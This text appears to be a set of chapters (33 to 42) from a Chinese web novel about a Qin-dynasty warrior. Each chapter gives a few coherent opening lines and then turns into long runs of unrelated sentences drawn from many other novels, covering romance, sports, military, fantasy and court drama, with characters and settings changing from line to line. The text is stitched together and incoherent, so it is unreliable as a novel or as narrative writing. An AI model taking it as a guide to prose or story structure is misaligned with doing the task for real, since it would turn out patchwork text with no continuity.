《大秦血衣侯:我以杀敌夺长生》
第一卷 第33章 洗经伐髓,元气入脉
而所谓的诺德蛮子们并没有缩在几乎完好无损的栅栏后面,甚至压根没有打算逃避对方看上去比想象多得多、足足三千人的数量,而是严阵以待排布在被攻占的艾斯提尼那附近。
没有了那勒人的皮甲,特别是胸甲,她感觉呼吸都顺畅多了,纤细的腰部一发力,她再次一跃而出,只是这次似乎已经超越了她之前的极限。
武道神罡,是武道意志的蜕变,蕴藏着武者自踏入武道以来、全部的感悟和理解。
虽然江阳看着系统精灵的样子就觉得怪怪的,因为现在系统精灵的样子和江阳记忆中的某个东西实在是太像了。
亚丝娜嘴里发出几声似猫叫的轻哼,眼神一下变得迷离,白嫩的手臂环上了江阳的脖子,缓缓闭上眼睛。
洛子修不知道,在任务大厅的最顶层一直有人关注着他,直到他离开天武馆。
阵纹间存在能量的冲突,但聚灵阵却是大部分辅助阵纹中必备的一个基础阵纹,在参考了其他几种组合型辅助阵纹和防御阵纹后洛子修发现,聚灵阵纹都是单独存在的,很少与其他基础阵纹重叠。
两人迎了出来,眼见三人平安回来,碧落舒了口气,不过唯独不见张天尊,碧落内心有些疑惑,但总觉得有些不安心。
李公淹作为孙享福的副手,对于这些举子的期待也很大,他是官场的过来人,也适时的将自己的心得给众多举子讲了两句,众举子闻言,深以为然的表示受教了。
她要是不满足他们的要求的话,她会觉得对不起人家这么大岁数对传统艺术的执着。
赶巧的是,宁藏锋刚好下班回家,衣服尚未来得及换,身上还套着大玄王朝军队象征军权地位的毕方甲。
现在爷爷情况越来越好,心情大好,胃口也是很好,一顿能吃三碗饭。
王策擦了擦自己眼角的泪水,深吸了一口气,准备着手抢救爷爷这条命,他拿出视线准备好的银针。
「之前一直忙于公务,现在又出征了,许久没去拜访靖公主了。靖公主近来可好?」苏玄问道。
这个花园确实不错,而且在花园中间竟然建了个养鱼池,养鱼池两边有一些水渠,水就这么流进鱼池,但是水一直就这么多就不知道流进去的水后来去了哪里。
王庆元脸色大变,疯狂挣扎着,但那双手好像钢铁铸成的一般,竟纹丝不动。
强大的精神能量如同千钧大山猛地砸向夏鹿,让他的大脑瞬间像是裂成了千万片,痛苦难当。
虽然天策军人数众多,但他们却被无双军与郭家军三面包夹了起来。
徐真感受到宋知礼的目光,急忙趁人不备,在后面踢了齐云正一脚。
看了楚盈盈的背影一眼,叶飞笑了笑。也朝着林子内奔去。原本还以为楚盈盈是那种持逞之人,可是现在看来,她也和自己一样。为了目的不则手段。
如今几万大军在手,而赵光义却孤家寡人。赵德芳有足够的实力嚣张,现在的他就和两年前的赵光义一样。
而此时的楚望舒对外面的事情心知肚明,他在洞里面好整以暇地嚼着牛肉干,喝着道家密酿酒水,等待对方的耐心的消磨。
自己应该给他夸奖,应该给他鼓励,应该在他第一次杀人感觉不适的时候,去抚慰他,可是,自己没有。
尘虚道长在林晓峰的陪同下,进入了那间密室,开始布置天地五行虚无大阵。
“稍安勿躁,这只是在商议,骨龙大尊,不服可以辩嘛。何必动怒?这山是一定要上的,这人也总是要死的,谁都逃不过,谁想让自己属下毫发无伤,都是不可能的。”纳兰秋不咸不淡道,目光当中闪烁着睿智的光芒。
她知道海军现在有多想要抓住威廉,她明白威廉也很清楚这一点,所以她才没觉得威廉打败莫利亚,自己一行人会安全多少,尤其是有自己这名海军的情况下。
秦雅现在还处于封闭状态,不断的吸收外界的灵气修炼铸造体魄。
她转身想走,可是秦海哪能轻易放开她,不等乔薇离开就一把搂住了她,然后低头重重地亲在乔薇的嘴上。
而走在街上的叶飞三人。这个时候听到街道上一声声急噪的步伐声传来。一队十人的军队正迎面奔来。在带头的军士手里拿着一金黄色的榜单。这些军士来到一面公布栏前停了下来,把皇榜帖上公布栏上面。
“师父并未将方子告知我以外的任何人,却在几日前,方子莫名消失不见。
王秀穿越到这个修仙世界,作为一个新生的孤儿,被便宜师尊抱回了三清仙门。
吴重三暗想,这姑娘是个疯子!而且还是个武功高强的疯子!可一个疯子怎么会把熊海捆在这里?吴重三心中思索着,喊道:“姑娘莫非是紫凰圣教的人?”经他这么一喊,凤仙宗的客人纷纷向后退了半步。
三十六天罡法,又叫做三十六天罡神通,收集了洪荒之中的三十六种大神通于其中。
山元在洪荒的跟脚,那可是干干净净的,天道都只当他是洪荒土生土长的一座山。
第一卷 第34章 炼体圆满,拳出惊城
夜沉如水。
城中的搜查紧锣密鼓地进行着,一个个搜城的士兵浑身紧绷,探查着每一个角落。
他们想要搜到那个凶神获得封赏,却又害怕自己下一刻就真的与那凶神遭遇,而后死于非命。
在这种紧张的气氛下,两个时辰很快过去了。
但最终她还是“啪”的一下子,把那个螺旋状的东西扔在了桌上,一屁股跌坐在了身后的石椅上。
他可不会认为进入其中就会有多么的安全,要韩冬相信,这灵台境界的武者不会留后手,打死他也不会相信。
黎夏天睁眼看着他,想要从他脸上看出什么来,可是她什么都看不到。
“既然您希望我照顾好她,那为什么又要让她加入特种部队?”贺御君无法理解。
再往前,就是蛮夷的地界,想要不动声色的混入其中,不会是一件简单的事情。
夏子默和温择宇当即便是一愣,看向容引的目光当下便是多了一抹好奇之色。
即便是蔚凌蓝也不例外,蔚凌蓝有些艳羡的看了莫轻罗一眼,目光却是哭笑不得。
四周的空气安静的落针可闻,所有的下人都低着脑袋不敢发出半点声音。
这一次的安排,本以为万无一失,那么多的半步天心境界的武者,分为几路去阻截他们,到头来功亏一篑,反而被杀了。
不过这种事情的出现,说到底,那也是正常。毕竟国人一直以来,都有那么一部分人,不分什么青红皂白,只要听风就是雨。
楚玺想开口,都最后还是一句话都没有说,只是静静的搂着她将这部电影看完,程墨羽的事情,现在还不能告诉任何人。
在房间里的是个光头和尚,此时的他正闭着眼睛念叨着什么,不时还会将钵里的水洒在李天佑的身上。
本来今天就是一个特殊的日子了,若是在这个时候惹怒了穆清苏的话,他们可就不是丢掉饭碗这么简单的惩罚了。
max点了点头,然后把警棍交到范炎炎手,转身去拿清洁工具,开始清扫地面了。
如果是换做别人的话,他或许会不放心,可是穆国明的话那就是另外一回事。
豆豆挠了挠自己的头皮:“还没,我一会儿自己做吧。”她说的有些心虚,总不能让嫂子给自己做吧,她有买泡面回来,一会下去拿上来好了。
不说别的,这个神通名字都让他好奇的很,现在他也慢慢了解不少,家乡远古时期高手很多,那些高手都是能穿梭到这个荒武大陆来的,两边的有些神话传说都有相似。
挥了挥手,从下面进过的一百个天军士兵是我的骄傲,他们是训练最好的,最优秀的。
好在车厢内的空间很大,所以齐珍珍也不用担心磕着碰着什么的了。
“看什么呢,这么开心。”来到她边上,荣少顷弯腰,直接将坐在椅子上的她给抱在怀中。
她看着他的眼睛,也强迫他看着她的眼睛,探究和希望在那双清眸中闪烁。
而且在这个世界上,名字相似的人实在太多,并不足为奇,如果裴俊和叶培俊真的有什么关联,就更加不足为奇了。
“哎呀,我说佳佳你怎么那么没有观察力!傅总有恋爱对象了!”李静大声说。
“我就怕你会舍不得。”润雪道,不管怎么说好歹艾巧巧养了它这么久。
第一卷 第35章 我军都尉,惊现敌军城头!
赵诚不慌不忙,“好,我们随你去。”
冯全和封若一惊,他们身份可是秦军间子,经不起细查的。
城中自有户籍案牍,只要去查,必然对应不上,那身份就暴露了。
这可如何是好?
冯全和封若都有些焦急起来。
听到章锋的解释,崔秀娜淡然的点了点头,当她再次将目光转移到林晨身上的时候,顿时就变得愤怒无比。
“既然如此那就这么做吧,那我可以对这现实世界做一些改变吗?”王靳又问道。
说实话,对于max战队当天的表现,即便是死忠粉们也都感到很是失望。要知道,原本满心期待地想要看上两场碾压局,结果碾压倒是碾压了,但却是被对方狠狠地碾了又压,这样的落差任谁都接受不了。
“你们是不是准备接下来一个月都吃鸡呀,杀了那么多。”王靳调笑了来开门的人一番。
“不好!要出事了。”张昭紧张的从楼上跑下来,然后去检查大门。门是虚掩的,而停在外面充电的电动车少了一辆。
“糟了!我感受到了新的能量!”克尔苏加德紧张的喊着,阿尔萨斯赶忙四处张望,结果真的被克尔苏加德言中了。
“找到了!”顾顺终于找到了,一个穿着黑色衣服的反叛军,手里正拿着一个控制器,随时要引爆的样子,找到人的顾顺第一时间就选择了开枪,狙击枪的威力一枪足以把这个反叛军击毙。
吃完晚饭之后,让林晨没有想到的是,楚倾城竟然主动洗碗,看着她的背影,林晨顿时忍不住嘴角笑意更浓了。
那条黑龙就像是人类抓一只猫一样揪着赤后劲把赤蟹提了起来,巨大如铜铃般的瞳孔聚焦在赤蟹身上,仿佛是要把他刺穿。
没有了学生进进出出的这里,就只是一座属于圣克里斯蒂安家族,远远和皇庭相对的宏伟城堡。
剧烈燃烧的斗气并未能完全驱除这些力量,极其细微的裂缝在铠甲上蔓延,辐射出沉重力场,使得卡戎仿佛肩负千钧重物。
仙府在沁攸的指挥之下,一个钻头从表面伸出,向两根石柱之间的岩壁钻去。
苗翠花点头,西环街虽说大了点,可也不算是顶大的,两家医馆已经是在抢生意了,三家开到最后,总有一个要滚蛋的。
最是英雄难过美人关,李海洋空有一身本事,在面对晨馨泪水的时候,却感觉自己十分窘迫。
其他人也发现被激怒的老狼人身上出现了巫力波动,尽管十分微弱,但确确实实存在。
胜天又何偿不知道这一点呢,但是胜天现在却不能这样做,因为胜天绝不容柳蓝龙发生意外!!胜天他于此沉默着,半晌未言。
陷阵营将士猛然往回一拉,钩镶盾都飞回来,随后的一排陷阵营将士随即飞盾跟上。
秦芳的本事真的不差,擅长傀儡术,但是除了这个本事以外,她还有一招没有在人前施展过,或者说没有人见过。因为见过的人除了死人之外,就真的什么都没有了。她是万万都没有想到,今天既然让她有机会再施展一次。
四大高手尽数出手,向着那罗酆靠近过去,再没有任何力量能够阻挡。
不说中国这边,视线转向美国,麦克阿瑟最近很头疼,在日本出现零式战斗机后,他的部队就一直受挫,甚至之后,日本人凭借这种飞机还将他赶出了东南亚。
第一卷 第36章 还吃呢?收你们来了!
不管接下去她们两个的关系是否有好转,她想着,就算一直保持着现在这种情况,但是,只要卓乐萱能够慢慢走出那段阴影,比什么都好。
众人一惊,玉鼎果然老奸巨猾,也不看看现在在她面前的都是晚辈,竟然真的亲自应战。
欧阳雪琪也不想操心那么多了,只要范炎炎能陪在自己身边,她再也没有遗憾了,只要范炎炎能陪伴自己度过生命仅有的最后一点时光,算自己将死,她也心满意足。
所有的人都不说话,因为皇上中了蛊毒的事情是一定要瞒下的,那么就要说未央和长风之间的关系,他们同样不愿意说。
仔细想想,当晚在张镇家附近遇到的那个夏杰身手不错,而监狱里的夏杰又是个用毒大师,他是真的杀了袁双燕和袁双凤,是个高智商的罪犯……他们两个似乎都没什么缺陷,那么到底谁才是真的,谁才是克隆体?
只是那会儿被李天佑的势力给压了下去,现在看来,这些记者未免也无法无天了。
听到这里,范炎炎总算是放心了,只要狙击枪不被警方发现,算警方再怎么怀疑他们,也不可能说把他们抓起来了。
走了不远后,凌菲只听见身后传来那中年男人的吼声,等她回头想要去看的时候,对方却已经不见了踪影,连同那张桌椅。
林谨枫深呼吸,始终保持着自己脸上吃的笑容,转身离开,出门的瞬间,她回头看着别关上的门,这就是她们现在的距离,明明近在咫尺,却又离得那么的远。
他们可不想将国家的权力交到一个奸雄的手里,更不容许郭拙诚将整个国家当着他揽权夺利的工具。不能因为郭拙诚的私心将整个国家推入威胁的境地。
毕竟在过去的33连胜期间,他们也不是没有遇到过实力强大的对手,甚至迈阿密热火队也就是克利夫兰骑士队三十三连胜期间的一个垫脚石。
双方之间的博弈再一次拉开了序幕。对于克利夫兰骑士队来说,篮球场上面那的形势并不会一下子就因为吴大伟的这一个补扣的进球而发生太大的改变。
然而第二句说话,他叫断浪别要错过,其实是想叫他别要错过些什么?
然后结局很美妙,三方拟定了一个绝密合同。以后凡查到走私物品,涉及建材、轿车、摩托车、家用电器类,一律由汉光公司收购并完税,然后再由广州军分区送至汉中市。
北朝鲜的心情又有不同,他们以前与中国关系不错,可是苏联与中国变成敌对关系后,他们就紧跟着苏联,现在苏联垮了,他们就跟着中国混。可是,眼前的局势让他们感到跟着中国混似乎混不下去了。
卢云抬起头来,紧握秦仲海的双手,柔声道:“仲海,跟我回长洲吧!”秦仲海愣道:“长洲?”随即醒悟卢云不日便要南下地方,再去做朝廷官长了。
其实,陆南的事确实多,但根本不是他说的这些。相反的是,最近他逃课成了习惯。
“哈哈,好叫指挥大人得知,这是我拜把子的好兄弟!”梁丰大笑道。顿时屋里众人一阵惊异、嫉妒、羡慕得眼光都朝狄青、梁丰二人看过来。
苏清其实很讨厌讨价还价,但是三百万买一个安心,也挺值得的。
倘若墨家视若无睹,不敢跳出来兴风作浪,该如何让他们有跳出来的勇气呢?
跟着出了水牢,却见此地是在高耸入云的绝巅之上,秋高气爽的大好时节,眼前却是雪花飘零,银装素裹,白雾茫茫,寒风呼啸如鬼哭狼嚎呜咽凄厉,吹在身上便似钢针般刺骨生疼。
这个涞大师阵法造诣极高,当然与陈玄奘兑换的顶级比起来,还是有一定的差距的。
深夜里的坡道下,桑晚安静静地蛰伏在那里,等着汽车的轰鸣声消失在了远处,过了约莫十几分钟,等到她确定所有人都已经离开的时候,这才动了一下身体。
湿漉漉的头发还滴着水,帕子搭在肩膀上,一头被羡冬鱼拿着擦脸。
“你踏马是天王老子,今天也要绑你!给我上!”周虎举着一根棍子下了命令。
管事的喜笑颜开,便引了他们去了客房休息,说是等过了今日,那几个亲戚才会旧事重提,今日只管好好休息。
他还是半妖形态,一头白发在空中飘散,目光经过羡冬鱼的时候,最后落在吴越身上。
敌方袭来的暗器,接到手里之后它的力道就已耗尽,松开手之后它只能自由垂落向下,然而这柄宝剑却再次向他的胸口挺刺过来!这他娘的是咋回事?
“大哥!”看着两人要走,七弟赶紧叫了一声,“不是说还要人去那边送消息吗,能不能让我去?”说完,满脸热切地看着正转过头来的大哥和二哥。
第一卷 第37章 城头斩将,戟扫千军
银雪的皮毛依旧洁白如雪,上面一点血迹都没有。浑身上下一点血迹都没有。
宁琪雪好奇的看了眼于科,于科今天第1天跟班里的人见面,而他却能准确无误的叫出尹若君的名字,要说这俩人之间没有关系,宁琪雪还真有些不相信。
“奈何先生,请问你开设这个天价培训班价格是不是太贵了,还有我听闻已经有很多人报名了,你能透露一下报名玩家的名字吗,你认为在三天时间内他们能学到什么?”琪琪一针见血,开口询问道。
就在墨清风刚刚解开刀疤身上捆绑的绳子,就听到身后传来一个男人的声音。
说起来如果是永久沉睡的话,也太过分了,大概这张卡就会被加入传说中的禁卡表了。
有一种长久期盼后尘埃落定的归属感,有知道姜叔叔是自己父亲的庆幸,也有一种回忆过往控制不住浮上心头的委屈感,但是更多的是不真实感。
仅凭季言墨的语气,在导演听来,季言墨刚刚的话,与其说是在澄清,到不如说是有些欲盖弥彰的意思。
后面乌云那像船一样的东西还在后面跟着铜人个云中龙那一大行,里面还是传出来各种杂乱之音,聒噪不已。
有松菇,有平菇,有香菇,有鸡枞菌等等。她甚至还找到两枚珍贵的松茸。
并且,就在独孤寅说出这话的时候,现场的这些助理博士,都是以一副惊恐的眼神,盯着独孤寅。
“不是用来打架的?那此丹是用来作甚的?难道是像你秦家一样,供起来的?”这边的莫清波不屑的嘲讽道。
“爸,我倒是发现一个异常,不知道您发现了没有。”这时,黎万河托着自己的下巴,说道。
身后遥遥传来墨诚舞的声音,差点令我脚下一滑,直接出师未捷身先死。
按照我们村的传统,只要有人死了,那一定要办喜丧,尤其是毛奶奶这种死的突然的人,必须是越热闹越好,才能把晦气一扫而空。
没想到王徒只是看了几眼,就将白玉放下,叹了口气,摇摇头转身而去。
“不知道,我追出去之后,七弯八拐的那个东西就消失了!我感觉这栋楼非常的怪异,似乎有什么人在这里控制着一般。反正我就是感觉很不舒服!”沈天生说道。
姜医生想到这里后,心中就爽歪歪,因为肖天一旦被判刑关起来,他就成功消灭掉肖天这个情敌了。
待他们离去之后,我再次望了望晕过去的沈天生,不由踌躇了起来。
解决了第二只拥有神器的sss级异兽,瞬间杀死了这个异兽聚集点所有的s级异兽,然后收尸的陈奇,能量消耗并不算高。
晋苍陵当时也未有与她细说烟稀,如今听她再次提了起来,却无半点心虚。
到底还是被郭嘉料中了,敌人果然还是设了伏兵,就等他们上钩呢。赤蝮关那边八成也是烟雾弹,企图分散青丘警备师团的兵力。
虽然她已经做出了‘牺牲’自己外貌的打算,准备让乌龙到时候代替自己,可李亚林在这关键的时刻拒绝,也依旧让她来的相当不解。
他知道宝昕带着人一直在找锦心他们,他要坐镇军中不能离开,对宝昕感到抱歉。
郁伯言带着萌萌坐在另外一组沙发上,萌萌还时不时吐出舌头,眼睛一直盯着沈随心。
昌义先生皱眉,这种东西当然对殿下来说很重要,可迟早会被查到,若是惹一身骚不划算。
打开排行榜,23的等级已经跌出了一百位,同时,原本的前十榜只有我们天枫主城的几家公会玩家,但是现在却新增加了其它的职业联盟公会。
老国丈的脸色灰白泛着死气,这是将死之人的脸色,盯着荣棠看了片刻,老国丈缓缓地吐了一口气出来,幽幽的,好像已经走上黄泉路的人,又回人间来透了一口气一般。
留下这一句,凉月便走到魔法舱中,但是即使在魔法舱内,也是朝我露出匪夷所思的笑容。
虽然张阳还没有到那边,不知道那边出了什么事情,但至少从目前的情况上看,那边应该是出了车祸,张阳看见了一辆车停在那里。
岩浆兽王熔岩蛟龙立刻冲击而来,庞大的身躯带起岩浆流旋涡,直接压迫而至,气息可怕至极。
此时,希比特将军看到这里之后,却只是报以一声冷笑。因为希比特将军心里非常清楚,仅凭着明达部落如此有限的兵力,绝对不能够冲到这里来。别的不说,那些所谓的m42式重机枪,将会是他们没有办法的克星。
不死火鸟焚焰的眼角有些湿润,它和它的孩子终于回家了,可它熟悉的家却已经面目全非,已经不是它熟悉的那个家了。
刚才在会场内,千钧一发的时候,正是皇帝突然出手救了韩厚德,但却没有管赵启发,也难怪高长河会如此愤怒。
“弟子不知长老何意?”陈昊心中一凛,强自压下心中浮现的那丝慌乱,仍然是淡淡了回问道。
第一卷 第38章 千人敌校尉柴烈,炼气士的消息
巨箭以风雷之势,轰入弩机之中,箭体与弩机撞击,两者同时爆碎,连同一旁的力卒都被迸射的碎片穿透,当场暴毙城头!
苏念安不曾想到他会这样让她不在哭泣,可他越是温柔越是对她好,她越是害怕。信任两字让她负重累累,她想信任他,可证据面前,她如何去信任。亦或者说她是在逃避,她想有他这一人给她依赖。
绯月看着沙漠的时候,眼睛里绽放出璀璨的光芒,蕴藏着一种贪婪和疯狂。
【队伍】断情:那个竹林是我认识的,听她说号上不了,所以我来看看是谁盗了号而已。
当三人进攻之时,秋玄就知道自己已经逃不过了。身体被那奇妙的斗气给缠绕住,根本躲不开三人那凌厉的攻势,实战经验丰富的秋玄,自然知道三人招式之间必定会有缝隙,不可能配合的天衣无缝。
一般的武者不会在这个时候去具现化自己的界域,因为所需能量太多,在没有达到神境九重巅峰前,所有的能量都会用来扩大界域范围,提升实力。
那个亲手研制出了多个天才与魔鬼的博士,就是他的父亲,就是他的父亲将他作为一号试验品。换言之,他所遭受的一些都是他所赐给他的。
不过有句话说的好:上帝把你的门关了,还是会给你留个窗透透气儿。
这样疏离的话,根本就不像是母子之间的对话,但是苏沫却不得不承认,眼前的这个确实就是她的儿子。
有些人修炼一辈子也未必能够看见一个先天境界的强者。然后今天一下就看见了六位先天高手,而且真真切切的站在他们面前,并不是道途听说的。
“第一个项目,一万米跑步,能够第一个跑完,为胜,或坚持到最后一个,为胜,第二个项目,俯卧撑,没有限制,谁能够坚持到最后极为胜者,这些都是你们平常所训练的东西。”秋玄说道。
此时,距离各大势力强者约定会面的时间尚有一个时辰,故而,几大势力的强者都还没有赶到,只有作为东道主的吕绍远先行在此等候。
“喂,你是谁?”巴顿启动翻译器,这样他说的话就变成了官方语言。
辰天对此无奈的对着利奥叹气起来。辰天用手指了指利奥,表情十分的无奈。
自从老三的事件之后,他就觉得什么都没人命重要,虽然干他们这一行的,就要有随时挂掉的觉悟,可他偏偏就是没有,公司那些普通员工,他不管,可身边这些亲近之人,他是很重视的。
洛天自然之道自己的能力的,不过最让他诧异的是,自己并没有告诉对方能够探测的范围了,这位冯天杰师兄是如何得知自己的感知范围的呢。看来这神元境修士,还是有许多能力自己不知晓的。
自古以来,给人定罪,杀人的头一向都是官府的权力。而自从杨应龙打出反旗后,为了表明自己的立场,也为了提振自己治下百姓军队的士气,他便将这一点权力也给用了起来。
听着万祐的解释,牧兴和马庚这两个实力最弱的人,心中不由得发毛,心中骇然,暗想要是他们遇到了对方,一定是难逃一死。
第一卷 第39章 心情复杂的嬴政:此子类我!
在蒙武苦思冥想如何下笔时。
咸阳城外的驰道上,秦军传卒奔马入城,直奔咸阳宫,胸前竹筒内封着秦军攻破隘口的军报。
张诚对着箱子按下e,是互动选项的意思,立时上面就跳出了放入魔眼的选项,如果身上没有魔眼,箱子是不会有任何反应。
两人饭刚吃到一半,便有人敲门,还不是按门铃,是哐哐哐的用力砸着房门。
寻易见师姐似是开始调息恢复了,满意的悄悄退开了一些,瞪着眼睛静等结果。
我的肚子冰凉凉的,因为人头解冻之后,上面全是水和血液,现在我抱着人头,许多血液渗入我的衣服,弄得我凉飕飕的。
“多谢将军信守承诺。”副参领是真的没想到,不但自己的伤员得到了救治,而且这些战俘享受到了同榆林军一样的饭食。并且根本就没有人来所查过他们,更没有人来逼问过什么。
“应该是首领和外来者的斗争进入了白热化,为了确保能够夺取身体,所以无意中减轻了对我们的控制,才使得我们恢复了以前的记忆。”黑魔推测道。
林涛用念动力操纵三十个爆炎弹飞出来,十个一组飞到猎海巫人身边。
我又想起当初林先生和周天纹对我说的话,说他们怀疑李河就是操控阴室的幕后黑手。
许玄龄拈着皓华珠轻轻放在青雾上空,皓华珠顿时脱出手去,绕着青雾转了一遭,那一团黑气连抗拒也不能,就整个被银珠吞吸进去。只见皓华珠吞了这团黑气,顿时银光黯淡,变得乌溜溜地,啪地一声掉在地上。
“御座大人,冒昧来访实在不好意思。”松田说的是扶桑话,白若竹跟在他后面不说话,看打扮就是松田的随从。
吴用只好打开了另外一瓶二锅头,不过如果真要他把这一整瓶二锅头喝下去,他一准会醉得一塌糊涂。开玩笑,这二锅头有五十三度,一瓶有一斤多,像他这种三两酒量的人,如此灌下去,还不得出事呀。
他缓缓睁开了眼睛,眼神之中闪过片刻的迷惘,紧接着像是想到了什么,猛然坐了起来。
这场你们所谓的灾难已经爆发了一年,而可怜的你们,直到现在也不知道,究竟为什么要遭到这样的灾难。我很同情你们,所以,我必须告诉你们真相。
言毕,赵一山抄起了一颗滚圆的粪便,将其搬了起来,向后一扔,另外一名铭元境修士得到了粪便,抱着粪便跑向了楣林。
是u,都兔子不吃窝边草,这个诊所既然是卫琼从事不法勾当u幌子,他自然不会在这幌子上留下太多u痕迹。
将悬空孤岛甩在了身后,赵一山速度不减,半个时辰后,四只地阶妖兽也追到了悬空孤岛。
陈阳战力强横,拥有保护众人的自信,倒也不担心,当即带着众人往冰火交界的方向赶去。
认真细数了一番,这个学堂建筑分为五个部分,但是每一个部分之间却是完全连在一起的整体。
这一日,完全崩塌的山洞中,陡然爆发出强大的力量,把整个山洞又重新开辟出来。
而且,吕圣夫刚才当众对她示好,现在揶揄陈阳,让她对吕圣夫的好感完全消失,反而感到厌恶。
第一卷 第40章 楚援将至,反包围战
大殿之中,嬴政将帛书放在案台之上,思索了一阵。
突然以拇指上的黑玉扳指敲击了案台三次。
微微的响声回荡在大殿之中,清脆悦耳。
不知何时,一个浑身黑衣的男子出现在嬴政身后。
“陛下。”
早有人准备了黑乎乎的一团东西盖在伤口上,然后有人帮我包扎伤口。
宋可刚刚放下饭碗,就见到夏洛和龙千皇脸色凝重地走了出来,这让在场的这些人心中都咯噔了一下,这是发生什么事情了吗?
芝麻最先憋不住了,因为吃过晚饭,天都黑了铁云朝还没回来,她凑到铁柔的房间里,铁柔正在擦剑。
搞定了韩广城,温睿修办起事来就更顺手了。他亲自写了一封奏折。将这里的事情报告给了皇上。温睿修并没有插手军中事务,而是交给了王剑南,这事他也写在了奏折里,皇上对此未置一词。这是默许了。
铁柔不置可否,其实除了长的好,她还真没怎么发现他有什么内在。
也许做狗能做到这种地步,也算幸福了,不过现在我可没时间去纠结幸不幸福,只是一心想着要怎么把我查到的事情告诉她们。
田娇娇坐在床边,神情也有些黯然。如果不出这档子事情,于凤岚就是她嫂子。
每年的圣诞节前夕,凌妍清总会收到这么一束漂亮的百合,卡片上附着的字三年来也从未变过。
晗月帮赤狄将皮囊里的水倒出来,先与众人在车里清洗了一番后才把水抬出去给拉车的老马喝。
剑刃一抖,夜羽汐的子剑从二长老的左臂中抽离,未等夜羽汐将母剑取回,二长老的身体连带鹿角、母剑径直坠入了云海。
房然听到李灵这样的话,不免微微一蹙眉。他心下转了一转,便如上次一般,用最基础的剑招攻击起李灵。
裴安安被吻得晕乎乎,回过神的时候,发现自己已经被凌慕辰压在了身下。
夜羽汐轻轻皱眉,最近这几天药王谷的探子的确侦查到外围有的鬼罗门人员活动的痕迹,不过这在情理之中,如果毫迹反倒有鬼了。
裴安安坐在车后座,转头看向窗外。透过车子的后视镜,她无意间一瞥,目光瞬间定格。
接下来几日都没有再见到潘霖,蓝非还以为这家伙有自知之明,知道给自己惹了麻烦就知动消失了呢。
“谢谢,我很满意这个发型。”勾了勾唇,抽出一张百元大钞付钱,之后才拖着行李箱离开。
但李灵执着的想要知道自己是怎么穿越的,她用手挡住光芒,睁着眼透过手掌的缝隙去看。
说着蓝非转身就走,听得一头雾水的蒋叶锦尽管不明就里,可却不想单独留下来面对周峰,有些心疼的看着还拿在周峰手里的翡翠平安符,还是跟着蓝非走。
红绸被剑气震伤,遗憾的看了紫鸾一眼,化作一团黑雾,消失在她的面前。
其实他一直知道,她从嫁给他那一天开始,就是一个“合格”的妻子。照顾他饮食起居都很精心,哪怕他在外面“玩”的再过分,回家来再跟她吵架,她也总能永远云淡风轻的看着他。
“这么大的事情为何无人告诉本殿下?”雅君转过头,沉着脸扫了歌儿语儿一样。
第一卷 第41章 威望如山,项氏之虎
楚军虽然次日便到,但是不管是韩军的探子还是楚军的探子,都有可能会提前抵达,刺探情报。
所以这时候,就显示出了蒙武的果断,以及强大的排兵布阵之能。
他在拿下叶县之后,用最短的时间,便彻底处理好城中的种种事宜。
顿时,两名紫袍佣兵口吐鲜血,身体如子弹一般被唐易打下了虚空,砸向了大地。
总不至于,现在就开打,然后真的去赌楚炎身上,有多少底牌!?
没有再去深想这事儿了,只是留了一个心眼,没办法,还有重要的事儿要去做,所以还是暂时别管这个了。
此刻,再见佳人,宋铭想象之中的激动并无发生,反而是心神平静,隐隐约约回到两人之前平淡如水的感觉。
“爱妃你怎么看,这个卫阶是否已经被寡人完全蒙在鼓里还不自知?”司马曜的手搭上苏巧儿的香肩,将她的身体转了过来,正对着自己的眼睛,略显自得地说道。
“难道,是七号玉符中的那块琥珀!?”短暂时间,楚炎仔细的扫了两遍,疑声道。
秦越的话音未落,身形便如一缕青烟般涌向独尊,万千剑花犹如彩蝶,雨点般飞向了独尊。
如果自己一旦得到这些东西,那么他的力量便最少都可以增长十万斤。
太白金星:三哥!老君办的事,老朽已经办好了。麻烦向老君转达一声。
“是是,恭送老人家。”杨浩逊笑着推到路旁,微微欠身送那老者过去。
在受到攻击的那一刻,他们还以为是佩索托方面的追兵,怎么也不会想到竟然遇到了平曰里难得一见的海盗。
后者在信中说:因为有开心转移魔mén注意力,宋远桥等人已经被秘密地安全转移到了别的城市,目前处境安全,也已经醒转,启程返回武当,让他不用担心。
开心一时间的更换上银蛟套装,抓起君子剑,无视扑面而来的白晃晃的无数飞刀,全速冲向鬼面墙。
到底是老太太年纪大了,对子孙晚辈无法再起到约束作用了,还真是自家家族要没落了?
“牛豆?”全在摇头,闲云一开始在点头,被流霜在边上掐了一爪之后只能苦着脸摇头。
“咳咳,王八蛋,你干什么!我怎么耍你了!”我抱着头防护着那一下下的锤击。
那位吴姓瘦马,在八爷离开前,那也是侍候过八爷几回的,你说万一是八哥的娃呢?
‘飞龙在天’第一次无功而返,在尚未爆发全部威力之前被人硬生生击溃。
两广总督杨琳是恩萌出身,早年在漕标中军任职;觉罗满保虽是红带子,却是正牌子科举出身,曾到江南主持乡试。这两人同曹寅都有些交情,算是故交。因此,这次进京,他们也带了不少“土仪”送到曹府。
作为千年世家的家主他,也见过许多未知,保守着许多世代传承的秘密。
麦铁杖一想也是,于是只将高句丽主将纥石利以及二十余名将领,派人押送后方,交由皇帝处置。
洞口的位置还算是高,如果消化液恢复到正常水平,洞口的位置距离消化液的液面还有一米左右。
他草草的吃完饭,洗完澡,就又钻回房间里睡觉了,李大嫂原本要收碗的,突然又不收了,就留在桌子上,等男人出来,她也去洗澡了,然后穿上了秦言给她搭配的衣服,里面就是一块破布,外边的衬衫堪堪遮住半个身子。
第一卷 第42章 一戟夺魂,丧家之犬
昆阳山脉以南,近十万大军蜿蜒而来。
为首将领身材高大壮硕,猿臂蜂腰,身披厚重铠甲行动如常,正是有着项氏之虎称号的项佗。
项佗率领的楚军行军速度更快,已经将宛城的韩军拉开了一段距离。
“报,前方与敌军斥候相接,已有一部斥候没了回应。”
“报,秦军正在攻打叶县城。”
但是当她看向水果时,就有了一刹那的呆滞,这来市长家的还没见过送这东西的呢?
仅仅是几秒中的时间,灵气壁上便出现了裂缝,一道道核辐射透过裂缝钻入湖水中,将周围的鱼儿迅速杀死,恐怖的热量也在不断蒸发附近的湖水。
就在奕反复思考意念的意思的时候,突然间,四周再次亮了起来,入目的依然是雪山,依然是那个雪谷,只是,不同的是,这次醒来,太岁不在迷茫,它发出一声惊天怒吼,随后,竟然再次跃上了那座雪峰。
麦哲伦必须给他们带来足够的利润。否则麦哲伦的情况绝对不好看。比如现在。
“我相信你。”秦枫沉默了一会儿后急急的说了这句后便挂了电话。
